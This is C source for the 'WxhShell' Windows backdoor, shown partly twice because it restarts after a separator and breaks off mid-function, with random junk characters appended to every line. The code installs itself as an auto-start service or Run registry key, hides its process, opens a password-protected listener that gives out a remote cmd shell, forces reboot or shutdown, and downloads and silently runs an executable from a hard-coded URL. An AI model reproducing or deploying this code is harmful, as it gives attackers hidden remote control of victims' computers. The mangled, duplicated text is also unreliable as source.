  case 'd': { BDy5J2<<7l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eOt%xTx  
    if(Boot(SHUTDOWN)) Jen%}\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PWvSbn6  
    else { M#xQW`-`  
    closesocket(wsh);  1Ao6y.S  
    ExitThread(0); jyi FM5&  
    } 1HhX/fpq  
    break; ]ni6p&b>  
    } q +R*Hi  
  // 获取shell 9RQU?  
  case 's': { Gzw@w{JBL  
    CmdShell(wsh); A:eFd]E{(  
    closesocket(wsh); PL@~Ys0  
    ExitThread(0); iU5P$7.p  
    break; bDDqaO ,8  
  } zOB !(R  
  // 退出 gE\b 982  
  case 'x': { RvyuGU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O~27/  
    CloseIt(wsh); QdDObqVdy  
    break; 9~c~E/4!  
    } 1"?]= j:  
  // 离开 :Hk_8J  
  case 'q': { $2KK:{VX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >GXXjAIu/  
    closesocket(wsh); bKMWWJf*'  
    WSACleanup(); HY;9?KJ'  
    exit(1); o)&"Rf  
    break; GRT] aw  
        } 3pSj kS|?>  
  } SWs3SYJ\  
  } T~Ly^|Ihz  
fG&=Ogy  
  // 提示信息 jY/ARBC}H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); URA0ey`  
} ]tB@kBi "  
  } f#$|t>  
R_1qn  
  return; ~U$":~H[  
} ZIpD{>/  
-#.< 12M  
// shell模块句柄 @TzvT3\q  
int CmdShell(SOCKET sock) #6=MKpR  
{ XWUP=D~  
STARTUPINFO si; X*F_<0RC1  
ZeroMemory(&si,sizeof(si)); cJDd0(tD!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M-J<n>hl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sb^mLH] 3  
PROCESS_INFORMATION ProcessInfo; NvJV</l6 A  
char cmdline[]="cmd"; 0C$8g Y*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0(y:$  
  return 0; 1u~ MXGF  
} "3fBY\>a  
5Fbs WW2  
// 自身启动模式 2q PhLCe Z  
int StartFromService(void) :et#0!  
{ =dzWmL<~8  
typedef struct Nxk(mec"  
{ $6h*l T<  
  DWORD ExitStatus; J;}3t!  
  DWORD PebBaseAddress; ?Ik4  
  DWORD AffinityMask; ~y /!fnv  
  DWORD BasePriority; A]o4Mf0>I  
  ULONG UniqueProcessId; Bz /@c)  
  ULONG InheritedFromUniqueProcessId; 1%~[rnQ  
}   PROCESS_BASIC_INFORMATION; sw;|'N$:<  
0[xpEiDx  
PROCNTQSIP NtQueryInformationProcess; oC*=JJe,  
gL3iw!7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pbn!KX~F~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W:`#% :C  
@gY\;[#.  
  HANDLE             hProcess; M`7y>Ud  
  PROCESS_BASIC_INFORMATION pbi; bgF^(T35  
BRS#Fl:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O_;Dk W  
  if(NULL == hInst ) return 0; SZhOm  
h Dk)Qg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YoKs:e2/:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n~.*1. P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v2)g 1sXd  
< zOi4v0  
  if (!NtQueryInformationProcess) return 0; "m$3)7 $  
y(W|eBe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KxzYfH  
  if(!hProcess) return 0; `~# < &w  
=*Z5!W'd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4!.(|h@  
,q#0hy%5/  
  CloseHandle(hProcess); ]:ZdV9`  
upy\gkpnGO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); //f  
if(hProcess==NULL) return 0; t2>fmQIQ  
LWnR?Qve<  
HMODULE hMod; VT%:zf  
char procName[255]; k; ZxY"^  
unsigned long cbNeeded; 4x;_AN  
ABh&X+YD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !w39FfU{  
x,n,Qlb  
  CloseHandle(hProcess); ~P .I<  
IkPN?N  
if(strstr(procName,"services")) return 1; // 以服务启动 k*mt4~KLT8  
7zemr>sIh  
  return 0; // 注册表启动 5jB* fIz  
} UUc8*yU)  
NSQp< m  
// 主模块 0Ua%DyJ  
int StartWxhshell(LPSTR lpCmdLine) ;30nd=  
{ XH}'w9VynR  
  SOCKET wsl; PG~$D];  
BOOL val=TRUE; CW&.NT  
  int port=0; eHiy,IN  
  struct sockaddr_in door; 47K1$3P  
tDg}Ys=4K>  
  if(wscfg.ws_autoins) Install(); R?o$Y6}5  
c!K]J  
port=atoi(lpCmdLine); l{j~Q^U})  
V)(R]BK{  
if(port<=0) port=wscfg.ws_port; AlXNg!j;5K  
Jl3g{a  
  WSADATA data; 'cix`l|^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kF"@Ngv.  
n+;6=1d7ZW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'Ft0Ry<OL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U1nw- Q+  
  door.sin_family = AF_INET; "VG+1r+]4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %D g0fL  
  door.sin_port = htons(port); @Fp_^5  
}7E^ZZ]f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G` XC  
closesocket(wsl); o1cErI&q"  
return 1; phnV7D(E  
} VHJM*&5  
aFz5leD  
  if(listen(wsl,2) == INVALID_SOCKET) { 5,-U.B}  
closesocket(wsl); },+wJ1  
return 1; l vMlL5t  
} hCjR&ZA  
  Wxhshell(wsl); L>y J  
  WSACleanup(); &|3 $!S  
uN([*'0Cg  
return 0; fC,:{}  
t3(]YgF  
} J &pO%Q=b  
?T9(Vw  
// 以NT服务方式启动 .sC?7O =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Szbb_i{_ `  
{ }J">}j]/  
DWORD   status = 0; TJ q~)Bm  
  DWORD   specificError = 0xfffffff; m< _S_c  
3 @ak<9&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VCXJwVb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ;s`sn$@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ks$JP6  
  serviceStatus.dwWin32ExitCode     = 0; u/cg|]x&T  
  serviceStatus.dwServiceSpecificExitCode = 0; q\m2EURco  
  serviceStatus.dwCheckPoint       = 0; $,+O9Et  
  serviceStatus.dwWaitHint       = 0; x8S7oO7  
-gSUjP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'EDda  
  if (hServiceStatusHandle==0) return; h$4Hw+Yxs]  
h%}/Cmx[  
status = GetLastError(); qlL`jWJ  
  if (status!=NO_ERROR) s l]_M  
{ ]E\n9X-{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;;L[e]Z  
    serviceStatus.dwCheckPoint       = 0; 1 $/%m_t  
    serviceStatus.dwWaitHint       = 0; BZ zrRC  
    serviceStatus.dwWin32ExitCode     = status; &?mD$Eo  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ty vtmx M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?c[*:N(  
    return; _%5R o6  
  } ]]Cb$$Td  
 GB$;n?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &f ^,la  
  serviceStatus.dwCheckPoint       = 0;  =-IbS}3  
  serviceStatus.dwWaitHint       = 0; tjupJ*Rt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y.g59X!Ub2  
} J ]nohICe  
uc;8 K,[t  
// 处理NT服务事件,比如:启动、停止 n4}B r;%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \v'p/G)g  
{ !%"8|)CAr  
switch(fdwControl) 8 7D*-Gw  
{ /YZr~|65  
case SERVICE_CONTROL_STOP: xuqv6b.  
  serviceStatus.dwWin32ExitCode = 0; a)wJT`xu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NR`C(^}  
  serviceStatus.dwCheckPoint   = 0; !o:f$6EA~C  
  serviceStatus.dwWaitHint     = 0; D#3\y*-y?  
  { rg^'S1x|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  -i0~]*  
  } :A/d to  
  return; 5H*\t 7  
case SERVICE_CONTROL_PAUSE: TWA-.>c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z'"tB/=W  
  break; :]\([Q+a  
case SERVICE_CONTROL_CONTINUE: a!=D[Gz*5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "wNJ  
  break; 9I}-[|`u  
case SERVICE_CONTROL_INTERROGATE: Wf|Q$MHos  
  break; etTn_v  
}; r>o63Q:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  #"@|f  
} *MKO I'  
\WxukYH  
// 标准应用程序主函数 L7dd(^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o,_? ^'@  
{ n*2UnKaJ  
JpXlBEio%  
// 获取操作系统版本 hDF@'G8F  
OsIsNt=GetOsVer(); MF5[lK9e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wB.&}p9p  
jPUwSIP  
  // 从命令行安装 |5lk9<z  
  if(strpbrk(lpCmdLine,"iI")) Install(); be.*#[  
P)P*Xq r#:  
  // 下载执行文件 s.$3j$vT 8  
if(wscfg.ws_downexe) { sS*3=Yh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U|jSa,}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4 o Fel.o  
} h&KO<>  
1`=nWy='  
if(!OsIsNt) { k$blEa4  
// 如果时win9x,隐藏进程并且设置为注册表启动 sB7# ~p A  
HideProc(); i<#QW'R(  
StartWxhshell(lpCmdLine); .%xn&3  
} A1O' |7X  
else MN\HDKN  
  if(StartFromService()) >T^;MS  
  // 以服务方式启动 =l+yA>t|  
  StartServiceCtrlDispatcher(DispatchTable); [_k1jHr48N  
else 2LF/H$] o5  
  // 普通方式启动 \NPmym_ 6J  
  StartWxhshell(lpCmdLine); }\B><E{G  
k>;`FFQU>  
return 0; qLD ?juas  
} Q'=x|K#xj  
r>>%2Z-P  
T&6l$1J  
<M+|rD]oc  
=========================================== |-:()yxs  
GS$ifv  
CsGx@\jN  
v[1aW v:  
! >FYK}c7  
xi~?>f  
" >qnko9V  
wW>A_{Y  
#include <stdio.h> d; boIP`M;  
#include <string.h> xF!,IKlBBp  
#include <windows.h> LSL/ZvSP  
#include <winsock2.h> t}r ' k/[  
#include <winsvc.h> ^aItoJq  
#include <urlmon.h> h4fJvOk|!  
p`olCp'  
#pragma comment (lib, "Ws2_32.lib") lXW%FH6c+  
#pragma comment (lib, "urlmon.lib") 6' k<+IR  
b RFLcM  
#define MAX_USER   100 // 最大客户端连接数 y%"{I7!A  
#define BUF_SOCK   200 // sock buffer XP!S$Q]D  
#define KEY_BUFF   255 // 输入 buffer mE+*)gb:Rd  
~Y^+M*   
#define REBOOT     0   // 重启 (KjoSN( K  
#define SHUTDOWN   1   // 关机 +}Dw3;W}m  
\ 2M_\Q`NY  
#define DEF_PORT   5000 // 监听端口 5-:?&|JK;  
rBQ_iB_  
#define REG_LEN     16   // 注册表键长度 3dg1DR;  
#define SVC_LEN     80   // NT服务名长度 ^O?/yV?4c  
!|S(Ms  
// 从dll定义API L>jY.d2w=K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  dm\F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $*^7iT4q_t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G/)O@Ugp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6AAz  
BX`{73sw  
// wxhshell配置信息 D+rxT: d  
struct WSCFG { R`NYEptJ  
  int ws_port;         // 监听端口 t% d Z-Ym  
  char ws_passstr[REG_LEN]; // 口令 0yk]o5a++  
  int ws_autoins;       // 安装标记, 1=yes 0=no rD*jp6Cl  
  char ws_regname[REG_LEN]; // 注册表键名 (nQ^  
  char ws_svcname[REG_LEN]; // 服务名 p $S*dr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;AG8C#_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y6(Z`lx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u|\1h LXX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3#LlDC_WC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %z=le7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E>6MeO  
zVViLUwG  
}; 5%Y3 Kwyy  
{&&z-^  
// default Wxhshell configuration ?g_3 [Fk  
struct WSCFG wscfg={DEF_PORT, W: z6Koc0  
    "xuhuanlingzhe", =Qy<GeY  
    1, \j$&DCv   
    "Wxhshell", G<L;4nA)  
    "Wxhshell", yuh *  
            "WxhShell Service", ik)|{%!K]H  
    "Wrsky Windows CmdShell Service", S\CCrje  
    "Please Input Your Password: ", ?qb}?&1  
  1, 2=*H 8'k  
  "http://www.wrsky.com/wxhshell.exe", OAgniLv  
  "Wxhshell.exe" 9SX +  
    }; AP3a;4Z#  
k R?qb6  
// 消息定义模块 y6g&Y.:o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >xN .F/[K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M[NV )q/)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j * %  
char *msg_ws_ext="\n\rExit."; 'NWfBJm  
char *msg_ws_end="\n\rQuit."; &h}#HS>l  
char *msg_ws_boot="\n\rReboot..."; \;,_S+Fz8  
char *msg_ws_poff="\n\rShutdown..."; _P!m%34|  
char *msg_ws_down="\n\rSave to "; Sj3+l7S?  
p?02C# p  
char *msg_ws_err="\n\rErr!"; 2R[:]-b  
char *msg_ws_ok="\n\rOK!"; wo3d#=   
 eb ?x9h  
char ExeFile[MAX_PATH]; &sl0W-;0  
int nUser = 0; w2?3wrP3  
HANDLE handles[MAX_USER]; >R'F,  
int OsIsNt; z}.e]|b^H  
x'8x   
SERVICE_STATUS       serviceStatus; p'Y^ X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [F+}V,  
'lH|eU&-  
// 函数声明 Pd8![Z3  
int Install(void); 8=!D$t\3  
int Uninstall(void); 0- B5`=yU  
int DownloadFile(char *sURL, SOCKET wsh); XgZD%7  
int Boot(int flag); A[B<~  
void HideProc(void); &5>Kl}7  
int GetOsVer(void); !hm]fh_j  
int Wxhshell(SOCKET wsl); y#`tgJ:  
void TalkWithClient(void *cs); :a!^   
int CmdShell(SOCKET sock); T;4NRC  
int StartFromService(void); P?%s #I:  
int StartWxhshell(LPSTR lpCmdLine); +5)nk}  
xw.A #Zb\_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~?l | [  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [|v][Hwv  
)j6~Wy@4  
// 数据结构和表定义 ]>!K3kB  
SERVICE_TABLE_ENTRY DispatchTable[] = }H53~@WP>  
{ Lw1Yvtn  
{wscfg.ws_svcname, NTServiceMain}, %mW{n8W3{  
{NULL, NULL} 59LG{R2  
}; Usvl}{L[  
d z|or9&  
// 自我安装 28-RC>,@}  
int Install(void) {$oj.V 4  
{ <NMEGit  
  char svExeFile[MAX_PATH]; b 1c y$I  
  HKEY key; #`^}PuQ  
  strcpy(svExeFile,ExeFile); (&r. w  
[+^1.N  
// 如果是win9x系统,修改注册表设为自启动 p:&8sO!m  
if(!OsIsNt) { "MeVE#O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -abt:or  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *tA1az-jO  
  RegCloseKey(key); a .#)G[*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :@Pl pF K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q3'llOx  
  RegCloseKey(key); !t"4!3  
  return 0; Z{*\S0^ST  
    } b1I]>\  
  } PrqlTT}Px  
} p%ki>p )E|  
else { &$+AXzn  
g>%o #P7  
// 如果是NT以上系统,安装为系统服务 8]c2r%J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n9\TO9N  
if (schSCManager!=0) G/E+L-N#`  
{ }:zE< bK  
  SC_HANDLE schService = CreateService p T?}Kc  
  ( hE{K=Tz$  
  schSCManager,  m!!/Za  
  wscfg.ws_svcname, X0HZH?V+  
  wscfg.ws_svcdisp, hPB9@ hT$  
  SERVICE_ALL_ACCESS, 70d1ReQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [g |_~h  
  SERVICE_AUTO_START, : $1?i)  
  SERVICE_ERROR_NORMAL, 8S TvCH"Z_  
  svExeFile, "x0^#AVg  
  NULL, b/K PaNv  
  NULL, AYBns]!  
  NULL, [jQp~&nY  
  NULL, &u."A3(  
  NULL CO/]wS  
  ); `v!urE/gg%  
  if (schService!=0) 9c bd~mM{  
  { h,:m~0gmj  
  CloseServiceHandle(schService); ]h`&&Bqt  
  CloseServiceHandle(schSCManager); .vf'YNQ%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mY|)KJ  
  strcat(svExeFile,wscfg.ws_svcname); [>I<#_^~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l:~/<`o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uh0VFL*@  
  RegCloseKey(key); ;?Tbnn Wn  
  return 0; LVM%"sd?  
    } 5vQHhwO50k  
  } ,_ H:J.ik  
  CloseServiceHandle(schSCManager); mthA4sz  
} n&4N[Qlv,  
} CZwXTHe  
+HpA:]#Y  
return 1;  tU5zF.%  
} #lo6c;*m5  
KfEx"94  
// 自我卸载 Wtd/=gmiI  
int Uninstall(void) 1ba~SHi  
{ 5DU6rks%  
  HKEY key; =j_4S<  
%A/0 '  
if(!OsIsNt) { 1t~G|zhX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n+9=1Oo"  
  RegDeleteValue(key,wscfg.ws_regname); *8A  
  RegCloseKey(key); C3f' {}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! I:%0D  
  RegDeleteValue(key,wscfg.ws_regname); )AtD}HEv  
  RegCloseKey(key); !?jrf] A@  
  return 0; M] %?>G  
  } KK4`l}Fk:n  
} O`kl\K*R7  
} 3*XNV  
else { }"H,h)T  
R%WCH?B<}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); net@j#}j-  
if (schSCManager!=0) &m7]v,&  
{ G_8RK,H.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <$$yw=ef  
  if (schService!=0)  %\#8{g  
  { $)i")=Hy  
  if(DeleteService(schService)!=0) { Et_bH%0  
  CloseServiceHandle(schService); Lg+Ac5y}`  
  CloseServiceHandle(schSCManager); +)om^e@.  
  return 0; H|<[YYk  
  } ;8&3 dm]  
  CloseServiceHandle(schService); NiEUW.0  
  } |Zpfq63W  
  CloseServiceHandle(schSCManager); *;slV3  
} +o{R _  
} M/'sl;  
U}[d_f  
return 1; bH9kj/q\b  
} |s(FLF-  
W\,s:6iqz  
// 从指定url下载文件 ua$GNm  
int DownloadFile(char *sURL, SOCKET wsh) e]"W!K cD9  
{ Fyx|z'4b  
  HRESULT hr; {4}yKjW%z  
char seps[]= "/"; n,(sBOQ  
char *token; =ho}oL,ZO  
char *file; wssRA?9<  
char myURL[MAX_PATH]; n)-$e4u2  
char myFILE[MAX_PATH]; {6|G@ ""O  
On:il$MU  
strcpy(myURL,sURL); u%KTNa0  
  token=strtok(myURL,seps); y2dCEmhY  
  while(token!=NULL) D/xbF`  
  { TER=*"!  
    file=token; ZF8 yw(z  
  token=strtok(NULL,seps); 7IH@oMvE  
  } (N6i4 g6  
V7Lxfoa4  
GetCurrentDirectory(MAX_PATH,myFILE); }'V5/>m[  
strcat(myFILE, "\\"); [PM 2\#K  
strcat(myFILE, file); (Z q/  
  send(wsh,myFILE,strlen(myFILE),0); jD]~ AwRJ  
send(wsh,"...",3,0); N^G Mp,8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IqHV)A  
  if(hr==S_OK) x"=f+Mr  
return 0; wk D^r(hiH  
else r'r%w#=`t  
return 1; :{v#'U/^  
4jM Fr,  
} 6:5I26  
(zYt NLoFx  
// 系统电源模块 {X+3;&@  
int Boot(int flag) mHTXni<!  
{ %P/Jq#FE .  
  HANDLE hToken; S(l O(gY  
  TOKEN_PRIVILEGES tkp; )p0^zv{  
l`{\"#4  
  if(OsIsNt) { = `F(B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IB"w&sBy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L(<*)No  
    tkp.PrivilegeCount = 1; #e1>H1eU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z&)A,ryW0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OA1uY83"  
if(flag==REBOOT) { zpZm&WC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Oh`69 k  
  return 0; %QGC8Tz  
} m+R[#GE8#  
else { 3?9IJ5p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YeL#jtC  
  return 0; "@@u3`#  
} t;Sb/3  
  } NjScc%@y  
  else { QB uMJm  
if(flag==REBOOT) { Q7\w+ANf0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [< ?s?Ci  
  return 0; ;>yxNGV`  
} &*,#5.  
else {  hoUD;3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i2Qz4 $z  
  return 0; YMcD|Kbp  
} u#$]?($}d  
} Y|f[bw  
<tNBxa$gS  
return 1; Qf+\;@  
} u@UMP@"#  
c /HHy,  
// win9x进程隐藏模块 ?k&Vy  
void HideProc(void) L:j<c5  
{ ^z IW+:  
F=e8IUr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2!m/  
  if ( hKernel != NULL ) IGQaDFr  
  { f!uwzHA`?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /{aj}M0kN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Zbg9`d*  
    FreeLibrary(hKernel); 2g-j.TM  
  } <I\/n<*  
^A$Zw+P  
return; 6:[dj*KGmT  
} Eu d*_>|  
{_[N<U:QT&  
// 获取操作系统版本 9@(PWz=`?  
int GetOsVer(void) E)5\i-n  
{ *20jz<  
  OSVERSIONINFO winfo;  EoR}Af  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IqaT?+O\?r  
  GetVersionEx(&winfo); 3 *"WG O5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {0wIR_dGX  
  return 1; t;}|tgC  
  else e "4 ''/  
  return 0; \5:i;AE  
} 5h=}j  
%~H-)_d20  
// 客户端句柄模块 ?}tFN_X"  
int Wxhshell(SOCKET wsl) *=/ { HvJ  
{ +US!YU  
  SOCKET wsh; @sW24J1q+  
  struct sockaddr_in client; +NZ_D#u  
  DWORD myID; 9}!qR|l3nR  
.\ULbN3Z  
  while(nUser<MAX_USER) d9f C<Tp  
{ XH4  
  int nSize=sizeof(client); %+W{iu[|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r1`x=r   
  if(wsh==INVALID_SOCKET) return 1; |P HT694Uz  
f;o5=)Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eCU:Q  
if(handles[nUser]==0) "Y =;.:qe  
  closesocket(wsh); _ @NL;w:!  
else kzQ+j8.,U  
  nUser++; GX!G>  
  } &ZlVWK~v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =vCY?I$P  
zII|9y  
  return 0; )hn6sXo+  
} u^ +7hkk  
DZ'P@f)]  
// 关闭 socket {0Yf]FQb-a  
void CloseIt(SOCKET wsh) r;.yz I  
{ *SbMqASv4G  
closesocket(wsh); taHJ ub  
nUser--; vAF "n  
ExitThread(0); ,F8Yn5h  
} K( c\wr\6  
,i?nWlh+  
// 客户端请求句柄 b7?uq9  
void TalkWithClient(void *cs) r"3=44St  
{ Pe_W;q.  
p?%y82E  
  SOCKET wsh=(SOCKET)cs; P:K5",)  
  char pwd[SVC_LEN];  ul6]!Iy  
  char cmd[KEY_BUFF]; qdJ=lhHM}  
char chr[1]; ?4#Li~q  
int i,j; F4-$~ v@  
TVtvuvQ2K  
  while (nUser < MAX_USER) { TTX5EDCrC  
ok"k*?Ov  
if(wscfg.ws_passstr) { Y|F9}hj(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I#Y22&G1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E1aHKjLQ  
  //ZeroMemory(pwd,KEY_BUFF); O_ muD\  
      i=0; a8e6H30Sm  
  while(i<SVC_LEN) { T9E+\D  
#_ ;lf1x!  
  // 设置超时 "yy5F>0Wt  
  fd_set FdRead; ~]|6T~+]83  
  struct timeval TimeOut; ntX3Nt_n  
  FD_ZERO(&FdRead); :\`o8`  
  FD_SET(wsh,&FdRead); }#RakV4  
  TimeOut.tv_sec=8; ,GhS[VJjR  
  TimeOut.tv_usec=0; ,hm\   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X6w6%fzOH>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `iFmrC<  
<y('hI'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wq D4YGN  
  pwd=chr[0]; 2G & a{  
  if(chr[0]==0xd || chr[0]==0xa) { Z!a =dnwHz  
  pwd=0; !I{0 _b{  
  break; p}z<Fdu 0  
  } hn7# L  
  i++; ~f&E7su-6+  
    } + /4A  
64 wv<r]5j  
  // 如果是非法用户,关闭 socket IYE~t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,B*EVN  
} [: n'k  
+5g_KS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a_^\=&?'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xC?6v '  
]Grek<  
while(1) { :".ARCg  
]`!>6/[  
  ZeroMemory(cmd,KEY_BUFF); ,a{P4Bq  
;IvY^(YS@;  
      // 自动支持客户端 telnet标准   8rAg \H3E  
  j=0; ,\W 8b-Z  
  while(j<KEY_BUFF) { -lr vKrt7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [r\Du|R-*  
  cmd[j]=chr[0]; A_"w^E{P  
  if(chr[0]==0xa || chr[0]==0xd) { &)# ihK_  
  cmd[j]=0; niMsQ  
  break; /e5O"@  
  } :[.vM  
  j++; IEL%!RFG  
    } 6fE7W>la  
Di,^%  
  // 下载文件 P8OaoPj  
  if(strstr(cmd,"http://")) { :_`F{rDB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f <Zxz9  
  if(DownloadFile(cmd,wsh)) PV.X z0@R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*?t^  
  else Ea=8}6`s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D=A&+6B@-  
  } <`8n^m*  
  else { p%up)]?0  
d~])K#oJ  
